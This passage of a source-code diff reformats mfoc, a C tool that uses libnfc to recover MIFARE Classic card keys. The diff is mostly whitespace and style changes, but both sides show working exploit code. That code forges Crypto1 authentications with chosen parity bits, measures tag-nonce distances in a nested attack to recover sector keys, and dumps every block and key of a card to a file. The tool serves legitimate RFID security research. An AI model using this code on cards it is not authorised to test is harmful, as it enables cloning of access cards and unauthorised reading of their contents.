free(ck); + // Success, try the next sector + if ((dumpKeysA && t.sectors[j].foundKeyA) || (!dumpKeysA && t.sectors[j].foundKeyB)) break; + } + // We haven't found any key, exiting + if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB)) { + ERR("No success, maybe you should increase the probes"); + goto error; + } + } + } + dumpKeysA = false; + } - for (i = 0; i < (t.num_sectors); ++i) { - if ((dumpKeysA && !t.sectors[i].foundKeyA) || (!dumpKeysA && !t.sectors[i].foundKeyB)) { - fprintf(stdout, "\nTry again, there are still some encrypted blocks\n"); - succeed = 0; - break; - } - } + for (i = 0; i < (t.num_sectors); ++i) { + if ((dumpKeysA && !t.sectors[i].foundKeyA) || (!dumpKeysA && !t.sectors[i].foundKeyB)) { + fprintf(stdout, "\nTry again, there are still some encrypted blocks\n"); + succeed = 0; + break; + } + } - if (succeed) { - i = t.num_sectors; // Sector counter - fprintf(stdout, "Auth with all sectors succeeded, dumping keys to a file!\n"); - // Read all blocks - for (block = t.num_blocks; block >= 0; block--) { - trailer_block(block) ? i-- : i; - failure = true; + if (succeed) { + i = t.num_sectors; // Sector counter + fprintf(stdout, "Auth with all sectors succeeded, dumping keys to a file!\n"); + // Read all blocks + for (block = t.num_blocks; block >= 0; block--) { + trailer_block(block) ? i-- : i; + failure = true; - // Try A key, auth() + read() - memcpy(mp.mpa.abtKey, t.sectors[i].KeyA, sizeof(t.sectors[i].KeyA)); - if (!nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_A, block, &mp)) { - // ERR ("Error: Auth A"); - mf_configure(r.pdi); - mf_anticollision(t, r); - } else { // and Read - if (nfc_initiator_mifare_cmd(r.pdi, MC_READ, block, &mp)) { - fprintf(stdout, "Block %02d, type %c, key %012llx :", block, 'A', bytes_to_num(t.sectors[i].KeyA, 6)); - print_hex(mp.mpd.abtData, 16); - mf_configure(r.pdi); - mf_select_tag(r.pdi, &(t.nt)); - failure = false; - } else { - // Error, now try read() with B key - // ERR ("Error: Read A"); - mf_configure(r.pdi); - mf_anticollision(t, r); - memcpy(mp.mpa.abtKey, t.sectors[i].KeyB, sizeof(t.sectors[i].KeyB)); - if (!nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, block, &mp)) { - // ERR ("Error: Auth B"); - mf_configure(r.pdi); - mf_anticollision(t, r); - } else { // and Read - if (nfc_initiator_mifare_cmd(r.pdi, MC_READ, block, &mp)) { - fprintf(stdout, "Block %02d, type %c, key %012llx :", block, 'B', bytes_to_num(t.sectors[i].KeyB, 6)); - print_hex(mp.mpd.abtData, 16); - mf_configure(r.pdi); - mf_select_tag(r.pdi, &(t.nt)); - failure = false; - } else { - mf_configure(r.pdi); - mf_anticollision(t, r); - // ERR ("Error: Read B"); - } - } - } - } - if (trailer_block(block)) { - // Copy the keys over from our key dump and store the retrieved access bits - memcpy(mtDump.amb[block].mbt.abtKeyA, t.sectors[i].KeyA,6); - memcpy(mtDump.amb[block].mbt.abtKeyB,t.sectors[i].KeyB,6); - if (!failure) memcpy(mtDump.amb[block].mbt.abtAccessBits,mp.mpd.abtData+6,4); - } else if (!failure) memcpy(mtDump.amb[block].mbd.abtData, mp.mpd.abtData,16); - memcpy(mp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mp.mpa.abtAuthUid)); - } + // Try A key, auth() + read() + memcpy(mp.mpa.abtKey, t.sectors[i].KeyA, sizeof(t.sectors[i].KeyA)); + if (!nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_A, block, &mp)) { + // ERR ("Error: Auth A"); + mf_configure(r.pdi); + mf_anticollision(t, r); + } else { // and Read + if (nfc_initiator_mifare_cmd(r.pdi, MC_READ, block, &mp)) { + fprintf(stdout, "Block %02d, type %c, key %012llx :", block, 'A', bytes_to_num(t.sectors[i].KeyA, 6)); + print_hex(mp.mpd.abtData, 16); + mf_configure(r.pdi); + mf_select_tag(r.pdi, &(t.nt)); + failure = false; + } else { + // Error, now try read() with B key + // ERR ("Error: Read A"); + mf_configure(r.pdi); + mf_anticollision(t, r); + memcpy(mp.mpa.abtKey, t.sectors[i].KeyB, sizeof(t.sectors[i].KeyB)); + if (!nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, block, &mp)) { + // ERR ("Error: Auth B"); + mf_configure(r.pdi); + mf_anticollision(t, r); + } else { // and Read + if (nfc_initiator_mifare_cmd(r.pdi, MC_READ, block, &mp)) { + fprintf(stdout, "Block %02d, type %c, key %012llx :", block, 'B', bytes_to_num(t.sectors[i].KeyB, 6)); + print_hex(mp.mpd.abtData, 16); + mf_configure(r.pdi); + mf_select_tag(r.pdi, &(t.nt)); + failure = false; + } else { + mf_configure(r.pdi); + mf_anticollision(t, r); + // ERR ("Error: Read B"); + } + } + } + } + if (trailer_block(block)) { + // Copy the keys over from our key dump and store the retrieved access bits + memcpy(mtDump.amb[block].mbt.abtKeyA, t.sectors[i].KeyA, 6); + memcpy(mtDump.amb[block].mbt.abtKeyB, t.sectors[i].KeyB, 6); + if (!failure) memcpy(mtDump.amb[block].mbt.abtAccessBits, mp.mpd.abtData + 6, 4); + } else if (!failure) memcpy(mtDump.amb[block].mbd.abtData, mp.mpd.abtData, 16); + memcpy(mp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mp.mpa.abtAuthUid)); + } - // Finally save all keys + data to file - if (fwrite(&mtDump, 1, sizeof(mtDump), pfDump) != sizeof(mtDump)) { - fprintf(stdout, "Error, cannot write dump\n"); - fclose(pfDump); - goto error; - } - fclose(pfDump); - } + // Finally save all keys + data to file + if (fwrite(&mtDump, 1, sizeof(mtDump), pfDump) != sizeof(mtDump)) { + fprintf(stdout, "Error, cannot write dump\n"); + fclose(pfDump); + goto error; + } + fclose(pfDump); + } - free(t.sectors); - free(d.distances); + free(t.sectors); + free(d.distances); - // Reset the "advanced" configuration to normal - nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, true); - nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, true); + // Reset the "advanced" configuration to normal + nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, true); + nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, true); - // Disconnect device and exit - nfc_close(r.pdi); - nfc_exit(context); - exit (EXIT_SUCCESS); + // Disconnect device and exit + nfc_close(r.pdi); + nfc_exit(context); + exit(EXIT_SUCCESS); error: - nfc_close(r.pdi); - nfc_exit(context); - exit (EXIT_FAILURE); + nfc_close(r.pdi); + nfc_exit(context); + exit(EXIT_FAILURE); } -void usage(FILE * stream, int errno) { - fprintf(stream, "Usage: mfoc [-h] [-k key]... [-P probnum] [-T tolerance] [-O output]\n"); - fprintf(stream, "\n"); - fprintf(stream, " h print this help and exit\n"); +void usage(FILE *stream, int errno) +{ + fprintf(stream, "Usage: mfoc [-h] [-k key]... [-P probnum] [-T tolerance] [-O output]\n"); + fprintf(stream, "\n"); + fprintf(stream, " h print this help and exit\n"); // fprintf(stream, " B instead of 'A' dump 'B' keys\n"); - fprintf(stream, " k try the specified key in addition to the default keys\n"); + fprintf(stream, " k try the specified key in addition to the default keys\n"); // fprintf(stream, " D number of distance probes, default is 20\n"); // fprintf(stream, " S number of sets with keystreams, default is 5\n"); - fprintf(stream, " P number of probes per sector, instead of default of 20\n"); - fprintf(stream, " T nonce tolerance half-range, instead of default of 20\n (i.e., 40 for the total range, in both directions)\n"); + fprintf(stream, " P number of probes per sector, instead of default of 20\n"); + fprintf(stream, " T nonce tolerance half-range, instead of default of 20\n (i.e., 40 for the total range, in both directions)\n"); // fprintf(stream, " s specify the list of sectors to crack, for example -s 0,1,3,5\n"); - fprintf(stream, " O file in which the card contents will be written (REQUIRED)\n"); - fprintf(stream, "\n"); - fprintf(stream, "Example: mfoc -O mycard.mfd\n"); - fprintf(stream, "Example: mfoc -k ffffeeeedddd -O mycard.mfd\n"); - fprintf(stream, "Example: mfoc -P 50 -T 30 -O mycard.mfd\n"); - fprintf(stream, "\n"); - fprintf(stream, "This is mfoc version %s.\n", PACKAGE_VERSION); - fprintf(stream, "For more information, run: 'man mfoc'.\n"); - exit(errno); + fprintf(stream, " O file in which the card contents will be written (REQUIRED)\n"); + fprintf(stream, "\n"); + fprintf(stream, "Example: mfoc -O mycard.mfd\n"); + fprintf(stream, "Example: mfoc -k ffffeeeedddd -O mycard.mfd\n"); + fprintf(stream, "Example: mfoc -P 50 -T 30 -O mycard.mfd\n"); + fprintf(stream, "\n"); + fprintf(stream, "This is mfoc version %s.\n", PACKAGE_VERSION); + fprintf(stream, "For more information, run: 'man mfoc'.\n"); + exit(errno); } -void mf_init(mfreader *r) { - // Connect to the first NFC device - nfc_init(&context); - r->pdi = nfc_open(context, NULL); - if (!r->pdi) { - printf ("No NFC device found.\n"); - exit (EXIT_FAILURE); - } +void mf_init(mfreader *r) +{ + // Connect to the first NFC device + nfc_init(&context); + r->pdi = nfc_open(context, NULL); + if (!r->pdi) { + printf("No NFC device found.\n"); + exit(EXIT_FAILURE); + } } -void mf_configure(nfc_device* pdi) { - if (nfc_initiator_init (pdi) < 0) { - nfc_perror (pdi, "nfc_initiator_init"); - exit (EXIT_FAILURE); - } - // Drop the field for a while, so can be reset - if (nfc_device_set_property_bool(pdi, NP_ACTIVATE_FIELD, false) < 0) { - nfc_perror (pdi, "nfc_device_set_property_bool activate field"); - exit (EXIT_FAILURE); - } - // Let the reader only try once to find a tag - if (nfc_device_set_property_bool(pdi, NP_INFINITE_SELECT, false) < 0) { - nfc_perror (pdi, "nfc_device_set_property_bool infinite select"); - exit (EXIT_FAILURE); - } - // Configure the CRC and Parity settings - if (nfc_device_set_property_bool(pdi, NP_HANDLE_CRC, true) < 0) { - nfc_perror (pdi, "nfc_device_set_property_bool crc"); - exit (EXIT_FAILURE); - } - if (nfc_device_set_property_bool(pdi, NP_HANDLE_PARITY, true) < 0) { - nfc_perror (pdi, "nfc_device_set_property_bool parity"); - exit (EXIT_FAILURE); - } - // Enable the field so more power consuming cards can power themselves up - if (nfc_device_set_property_bool(pdi, NP_ACTIVATE_FIELD, true) < 0) { - nfc_perror (pdi, "nfc_device_set_property_bool activate field"); - exit (EXIT_FAILURE); - } +void mf_configure(nfc_device *pdi) +{ + if (nfc_initiator_init(pdi) < 0) { + nfc_perror(pdi, "nfc_initiator_init"); + exit(EXIT_FAILURE); + } + // Drop the field for a while, so can be reset + if (nfc_device_set_property_bool(pdi, NP_ACTIVATE_FIELD, false) < 0) { + nfc_perror(pdi, "nfc_device_set_property_bool activate field"); + exit(EXIT_FAILURE); + } + // Let the reader only try once to find a tag + if (nfc_device_set_property_bool(pdi, NP_INFINITE_SELECT, false) < 0) { + nfc_perror(pdi, "nfc_device_set_property_bool infinite select"); + exit(EXIT_FAILURE); + } + // Configure the CRC and Parity settings + if (nfc_device_set_property_bool(pdi, NP_HANDLE_CRC, true) < 0) { + nfc_perror(pdi, "nfc_device_set_property_bool crc"); + exit(EXIT_FAILURE); + } + if (nfc_device_set_property_bool(pdi, NP_HANDLE_PARITY, true) < 0) { + nfc_perror(pdi, "nfc_device_set_property_bool parity"); + exit(EXIT_FAILURE); + } + // Enable the field so more power consuming cards can power themselves up + if (nfc_device_set_property_bool(pdi, NP_ACTIVATE_FIELD, true) < 0) { + nfc_perror(pdi, "nfc_device_set_property_bool activate field"); + exit(EXIT_FAILURE); + } } -void mf_select_tag(nfc_device* pdi, nfc_target* pnt) { - // Poll for a ISO14443A (MIFARE) tag - const nfc_modulation nm = { - .nmt = NMT_ISO14443A, - .nbr = NBR_106, - }; - if (nfc_initiator_select_passive_target(pdi, nm, NULL, 0, pnt) < 0) { - ERR ("Unable to connect to the MIFARE Classic tag"); - nfc_close(pdi); - nfc_exit(context); - exit (EXIT_FAILURE); - } +void mf_select_tag(nfc_device *pdi, nfc_target *pnt) +{ + // Poll for a ISO14443A (MIFARE) tag + const nfc_modulation nm = { + .nmt = NMT_ISO14443A, + .nbr = NBR_106, + }; + if (nfc_initiator_select_passive_target(pdi, nm, NULL, 0, pnt) < 0) { + ERR("Unable to connect to the MIFARE Classic tag"); + nfc_close(pdi); + nfc_exit(context); + exit(EXIT_FAILURE); + } } int trailer_block(uint32_t block) { - // Test if we are in the small or big sectors - return (block < 128) ? ((block + 1) % 4 == 0) : ((block + 1) % 16 == 0); + // Test if we are in the small or big sectors + return (block < 128) ? ((block + 1) % 4 == 0) : ((block + 1) % 16 == 0); } // Return position of sector if it is encrypted with the default key otherwise exit.. -int find_exploit_sector(mftag t) { - int i; - bool interesting = false; +int find_exploit_sector(mftag t) +{ + int i; + bool interesting = false; - for (i = 0; i < t.num_sectors; i++) { - if (!t.sectors[i].foundKeyA || !t.sectors[i].foundKeyB) { - interesting = true; - break; - } - } - if (!interesting) { - fprintf(stdout, "\nWe have all sectors encrypted with the default keys..\n\n"); - return -1; - } - for (i = 0; i < t.num_sectors; i++) { - if ((t.sectors[i].foundKeyA) || (t.sectors[i].foundKeyB)) { - fprintf(stdout, "\n\nUsing sector %02d as an exploit sector\n", i); - return i; - } - } - ERR ("\n\nNo sector encrypted with the default key has been found, exiting.."); - exit (EXIT_FAILURE); + for (i = 0; i < t.num_sectors; i++) { + if (!t.sectors[i].foundKeyA || !t.sectors[i].foundKeyB) { + interesting = true; + break; + } + } + if (!interesting) { + fprintf(stdout, "\nWe have all sectors encrypted with the default keys..\n\n"); + return -1; + } + for (i = 0; i < t.num_sectors; i++) { + if ((t.sectors[i].foundKeyA) || (t.sectors[i].foundKeyB)) { + fprintf(stdout, "\n\nUsing sector %02d as an exploit sector\n", i); + return i; + } + } + ERR("\n\nNo sector encrypted with the default key has been found, exiting.."); + exit(EXIT_FAILURE); } -void mf_anticollision(mftag t, mfreader r) { - const nfc_modulation nm = { - .nmt = NMT_ISO14443A, - .nbr = NBR_106, - }; - if (nfc_initiator_select_passive_target(r.pdi, nm, NULL, 0, &t.nt) < 0) { - nfc_perror (r.pdi, "nfc_initiator_select_passive_target"); - ERR ("Tag has been removed"); - exit (EXIT_FAILURE); - } +void mf_anticollision(mftag t, mfreader r) +{ + const nfc_modulation nm = { + .nmt = NMT_ISO14443A, + .nbr = NBR_106, + }; + if (nfc_initiator_select_passive_target(r.pdi, nm, NULL, 0, &t.nt) < 0) { + nfc_perror(r.pdi, "nfc_initiator_select_passive_target"); + ERR("Tag has been removed"); + exit(EXIT_FAILURE); + } } -int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA) { - struct Crypto1State* pcs; - struct Crypto1State* revstate; - struct Crypto1State* revstate_start; +int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA) +{ + struct Crypto1State *pcs; + struct Crypto1State *revstate; + struct Crypto1State *revstate_start; - uint64_t lfsr; + uint64_t lfsr; - // Possible key counter, just continue with a previous "session" - uint32_t kcount = pk->size; + // Possible key counter, just continue with a previous "session" + uint32_t kcount = pk->size; - uint8_t Nr[4] = { 0x00,0x00,0x00,0x00 }; // Reader nonce - uint8_t Auth[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 }; - uint8_t AuthEnc[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 }; - uint8_t AuthEncPar[8] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; + uint8_t Nr[4] = { 0x00, 0x00, 0x00, 0x00 }; // Reader nonce + uint8_t Auth[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 }; + uint8_t AuthEnc[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 }; + uint8_t AuthEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; - uint8_t ArEnc[8] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; - uint8_t ArEncPar[8] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; + uint8_t ArEnc[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; + uint8_t ArEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; - uint8_t Rx[MAX_FRAME_LEN]; // Tag response - uint8_t RxPar[MAX_FRAME_LEN]; // Tag response + uint8_t Rx[MAX_FRAME_LEN]; // Tag response + uint8_t RxPar[MAX_FRAME_LEN]; // Tag response - uint32_t Nt, NtLast, NtProbe, NtEnc, Ks1; + uint32_t Nt, NtLast, NtProbe, NtEnc, Ks1; - int i, m; + int i, m; - // Prepare AUTH command - Auth[0] = (t.sectors[e_sector].foundKeyA) ? 0x60 : 0x61; - iso14443a_crc_append (Auth,2); - // fprintf(stdout, "\nAuth command:\t"); - // print_hex(Auth, 4); + // Prepare AUTH command + Auth[0] = (t.sectors[e_sector].foundKeyA) ? 0x60 : 0x61; + iso14443a_crc_append(Auth, 2); + // fprintf(stdout, "\nAuth command:\t"); + // print_hex(Auth, 4); - // We need full control over the CRC - if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, false) < 0) { - nfc_perror (r.pdi, "nfc_device_set_property_bool crc"); - exit (EXIT_FAILURE); - } + // We need full control over the CRC + if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_CRC, false) < 0) { + nfc_perror(r.pdi, "nfc_device_set_property_bool crc"); + exit(EXIT_FAILURE); + } - // Request plain tag-nonce - // TODO: Set NP_EASY_FRAMING option only once if possible - if (nfc_device_set_property_bool (r.pdi, NP_EASY_FRAMING, false) < 0) { - nfc_perror (r.pdi, "nfc_device_set_property_bool framing"); - exit (EXIT_FAILURE); - } + // Request plain tag-nonce + // TODO: Set NP_EASY_FRAMING option only once if possible + if (nfc_device_set_property_bool(r.pdi, NP_EASY_FRAMING, false) < 0) { + nfc_perror(r.pdi, "nfc_device_set_property_bool framing"); + exit(EXIT_FAILURE); + } - if (nfc_initiator_transceive_bytes(r.pdi, Auth, 4, Rx, sizeof(Rx), 0) < 0) { - fprintf(stdout, "Error while requesting plain tag-nonce\n"); - exit(EXIT_FAILURE); - } + if (nfc_initiator_transceive_bytes(r.pdi, Auth, 4, Rx, sizeof(Rx), 0) < 0) { + fprintf(stdout, "Error while requesting plain tag-nonce\n"); + exit(EXIT_FAILURE); + } - if (nfc_device_set_property_bool (r.pdi, NP_EASY_FRAMING, true) < 0) { - nfc_perror (r.pdi, "nfc_device_set_property_bool"); - exit (EXIT_FAILURE); - } - // print_hex(Rx, 4); + if (nfc_device_set_property_bool(r.pdi, NP_EASY_FRAMING, true) < 0) { + nfc_perror(r.pdi, "nfc_device_set_property_bool"); + exit(EXIT_FAILURE); + } + // print_hex(Rx, 4); - // Save the tag nonce (Nt) - Nt = bytes_to_num(Rx, 4); + // Save the tag nonce (Nt) + Nt = bytes_to_num(Rx, 4); - // Init the cipher with key {0..47} bits - if (t.sectors[e_sector].foundKeyA) { - pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyA, 6)); - } else { - pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyB, 6)); - } + // Init the cipher with key {0..47} bits + if (t.sectors[e_sector].foundKeyA) { + pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyA, 6)); + } else { + pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyB, 6)); + } - // Load (plain) uid^nt into the cipher {48..79} bits - crypto1_word(pcs, bytes_to_num(Rx, 4) ^ t.authuid, 0); + // Load (plain) uid^nt into the cipher {48..79} bits + crypto1_word(pcs, bytes_to_num(Rx, 4) ^ t.authuid, 0); - // Generate (encrypted) nr+parity by loading it into the cipher - for (i = 0; i < 4; i++) { - // Load in, and encrypt the reader nonce (Nr) - ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i]; - ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nr[i]); - } - // Skip 32 bits in the pseudo random generator - Nt = prng_successor(Nt, 32); - // Generate reader-answer from tag-nonce - for (i = 4; i < 8; i++) { - // Get the next random byte - Nt = prng_successor(Nt, 8); - // Encrypt the reader-answer (Nt' = suc2(Nt)) - ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^ (Nt&0xff); - ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nt); - } + // Generate (encrypted) nr+parity by loading it into the cipher + for (i = 0; i < 4; i++) { + // Load in, and encrypt the reader nonce (Nr) + ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i]; + ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nr[i]); + } + // Skip 32 bits in the pseudo random generator + Nt = prng_successor(Nt, 32); + // Generate reader-answer from tag-nonce + for (i = 4; i < 8; i++) { + // Get the next random byte + Nt = prng_successor(Nt, 8); + // Encrypt the reader-answer (Nt' = suc2(Nt)) + ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^(Nt & 0xff); + ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nt); + } - // Finally we want to send arbitrary parity bits - if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, false) < 0) { - nfc_perror (r.pdi, "nfc_device_set_property_bool parity"); - exit (EXIT_FAILURE); - } + // Finally we want to send arbitrary parity bits + if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, false) < 0) { + nfc_perror(r.pdi, "nfc_device_set_property_bool parity"); + exit(EXIT_FAILURE); + } - // Transmit reader-answer - // fprintf(stdout, "\t{Ar}:\t"); - // print_hex_par(ArEnc, 64, ArEncPar); - int res; - if (((res = nfc_initiator_transceive_bits(r.pdi, ArEnc, 64, ArEncPar, Rx, sizeof(Rx), RxPar)) < 0) || (res != 32)) { - ERR ("Reader-answer transfer error, exiting.."); - exit (EXIT_FAILURE); - } + // Transmit reader-answer + // fprintf(stdout, "\t{Ar}:\t"); + // print_hex_par(ArEnc, 64, ArEncPar); + int res; + if (((res = nfc_initiator_transceive_bits(r.pdi, ArEnc, 64, ArEncPar, Rx, sizeof(Rx), RxPar)) < 0) || (res != 32)) { + ERR("Reader-answer transfer error, exiting.."); + exit(EXIT_FAILURE); + } - // Now print the answer from the tag - // fprintf(stdout, "\t{At}:\t"); - // print_hex_par(Rx,RxLen,RxPar); + // Now print the answer from the tag + // fprintf(stdout, "\t{At}:\t"); + // print_hex_par(Rx,RxLen,RxPar); - // Decrypt the tag answer and verify that suc3(Nt) is At - Nt = prng_successor(Nt, 32); - if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num(Rx, 4)) == (Nt&0xFFFFFFFF))) { - ERR ("[At] is not Suc3(Nt), something is wrong, exiting.."); - exit (EXIT_FAILURE); - } - // fprintf(stdout, "Authentication completed.\n\n"); + // Decrypt the tag answer and verify that suc3(Nt) is At + Nt = prng_successor(Nt, 32); + if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num(Rx, 4)) == (Nt & 0xFFFFFFFF))) { + ERR("[At] is not Suc3(Nt), something is wrong, exiting.."); + exit(EXIT_FAILURE); + } + // fprintf(stdout, "Authentication completed.\n\n"); - // If we are in "Get Distances" mode - if (mode == 'd') { - for (m = 0; m < d->num_distances; m++) { - // fprintf(stdout, "Nested Auth number: %x: ,", m); - // Encrypt Auth command with the current keystream - for (i = 0; i < 4; i++) { - AuthEnc[i] = crypto1_byte(pcs,0x00,0) ^ Auth[i]; - // Encrypt the parity bits with the 4 plaintext bytes - AuthEncPar[i] = filter(pcs->odd) ^ oddparity(Auth[i]); - } + // If we are in "Get Distances" mode + if (mode == 'd') { + for (m = 0; m < d->num_distances; m++) { + // fprintf(stdout, "Nested Auth number: %x: ,", m); + // Encrypt Auth command with the current keystream + for (i = 0; i < 4; i++) { + AuthEnc[i] = crypto1_byte(pcs, 0x00, 0) ^ Auth[i]; + // Encrypt the parity bits with the 4 plaintext bytes + AuthEncPar[i] = filter(pcs->odd) ^ oddparity(Auth[i]); + } - // Sending the encrypted Auth command - if (nfc_initiator_transceive_bits(r.pdi, AuthEnc, 32, AuthEncPar, Rx, sizeof(Rx), RxPar) < 0) { - fprintf(stdout, "Error requesting encrypted tag-nonce\n"); - exit (EXIT_FAILURE); - } + // Sending the encrypted Auth command + if (nfc_initiator_transceive_bits(r.pdi, AuthEnc, 32, AuthEncPar, Rx, sizeof(Rx), RxPar) < 0) { + fprintf(stdout, "Error requesting encrypted tag-nonce\n"); + exit(EXIT_FAILURE); + } - // Decrypt the encrypted auth - if (t.sectors[e_sector].foundKeyA) { - pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyA, 6)); - } else { - pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyB, 6)); - } - NtLast = bytes_to_num(Rx, 4) ^ crypto1_word(pcs, bytes_to_num(Rx, 4) ^ t.authuid, 1); + // Decrypt the encrypted auth + if (t.sectors[e_sector].foundKeyA) { + pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyA, 6)); + } else { + pcs = crypto1_create(bytes_to_num(t.sectors[e_sector].KeyB, 6)); + } + NtLast = bytes_to_num(Rx, 4) ^ crypto1_word(pcs, bytes_to_num(Rx, 4) ^ t.authuid, 1); - // Save the determined nonces distance - d->distances[m] = nonce_distance(Nt, NtLast); - // fprintf(stdout, "distance: %05d\n", d->distances[m]); + // Save the determined nonces distance + d->distances[m] = nonce_distance(Nt, NtLast); + // fprintf(stdout, "distance: %05d\n", d->distances[m]); - // Again, prepare and send {At} - for (i = 0; i < 4; i++) { - ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i]; - ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nr[i]); - } - Nt = prng_successor(NtLast, 32); - for (i = 4; i < 8; i++) { - Nt = prng_successor(Nt, 8); - ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^ (Nt&0xFF); - ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nt); - } - nfc_device_set_property_bool(r.pdi,NP_HANDLE_PARITY,false); - if (((res = nfc_initiator_transceive_bits(r.pdi, ArEnc, 64, ArEncPar, Rx, sizeof(Rx), RxPar)) < 0) || (res != 32)) { - ERR ("Reader-answer transfer error, exiting.."); - exit (EXIT_FAILURE); - } - Nt = prng_successor(Nt, 32); - if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num(Rx, 4)) == (Nt&0xFFFFFFFF))) { - ERR ("[At] is not Suc3(Nt), something is wrong, exiting.."); - exit (EXIT_FAILURE); - } - } // Next auth probe + // Again, prepare and send {At} + for (i = 0; i < 4; i++) { + ArEnc[i] = crypto1_byte(pcs, Nr[i], 0) ^ Nr[i]; + ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nr[i]); + } + Nt = prng_successor(NtLast, 32); + for (i = 4; i < 8; i++) { + Nt = prng_successor(Nt, 8); + ArEnc[i] = crypto1_byte(pcs, 0x00, 0) ^(Nt & 0xFF); + ArEncPar[i] = filter(pcs->odd) ^ oddparity(Nt); + } + nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, false); + if (((res = nfc_initiator_transceive_bits(r.pdi, ArEnc, 64, ArEncPar, Rx, sizeof(Rx), RxPar)) < 0) || (res != 32)) { + ERR("Reader-answer transfer error, exiting.."); + exit(EXIT_FAILURE); + } + Nt = prng_successor(Nt, 32); + if (!((crypto1_word(pcs, 0x00, 0) ^ bytes_to_num(Rx, 4)) == (Nt & 0xFFFFFFFF))) { + ERR("[At] is not Suc3(Nt), something is wrong, exiting.."); + exit(EXIT_FAILURE); + } + } // Next auth probe - // Find median from all distances - d->median = median(*d); - //fprintf(stdout, "Median: %05d\n", d->median); - } // The end of Get Distances mode + // Find median from all distances + d->median = median(*d); + //fprintf(stdout, "Median: %05d\n", d->median); + } // The end of Get Distances mode - // If we are in "Get Recovery" mode - if (mode == 'r') { - // Again, prepare the Auth command with MC_AUTH_A, recover the block and CRC - Auth[0] = dumpKeysA ? 0x60 : 0x61; - Auth[1] = a_sector; - iso14443a_crc_append (Auth,2); + // If we are in "Get Recovery" mode + if (mode == 'r') { + // Again, prepare the Auth command with MC_AUTH_A, recover the block and CRC + Auth[0] = dumpKeysA ? 0x60 : 0x61; + Auth[1] = a_sector; + iso14443a_crc_append(Auth, 2); - // Encryption of the Auth command, sending the Auth command - for (i = 0; i < 4; i++) { - AuthEnc[i] = crypto1_byte(pcs,0x00,0) ^ Auth[i]; - // Encrypt the parity bits with the 4 plaintext bytes - AuthEncPar[i] = filter(pcs->odd) ^ oddparity(Auth[i]); - } - if (nfc_initiator_transceive_bits(r.pdi, AuthEnc, 32, AuthEncPar, Rx, sizeof(Rx), RxPar) < 0) { - ERR ("while requesting encrypted tag-nonce"); - exit (EXIT_FAILURE); - } + // Encryption of the Auth command, sending the Auth command + for (i = 0; i < 4; i++) { + AuthEnc[i] = crypto1_byte(pcs, 0x00, 0) ^ Auth[i]; + // Encrypt the parity bits with the 4 plaintext bytes + AuthEncPar[i] = filter(pcs->odd) ^ oddparity(Auth[i]); + } + if (nfc_initiator_transceive_bits(r.pdi, AuthEnc, 32, AuthEncPar, Rx, sizeof(Rx), RxPar) < 0) { + ERR("while requesting encrypted tag-nonce"); + exit(EXIT_FAILURE); + } - // Finally we want to send arbitrary parity bits - if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, true) < 0) { - nfc_perror (r.pdi, "nfc_device_set_property_bool parity restore M"); - exit (EXIT_FAILURE); - } + // Finally we want to send arbitrary parity bits + if (nfc_device_set_property_bool(r.pdi, NP_HANDLE_PARITY, true) < 0) { + nfc_perror(r.pdi, "nfc_device_set_property_bool parity restore M"); + exit(EXIT_FAILURE); + } - if (nfc_device_set_property_bool(r.pdi, 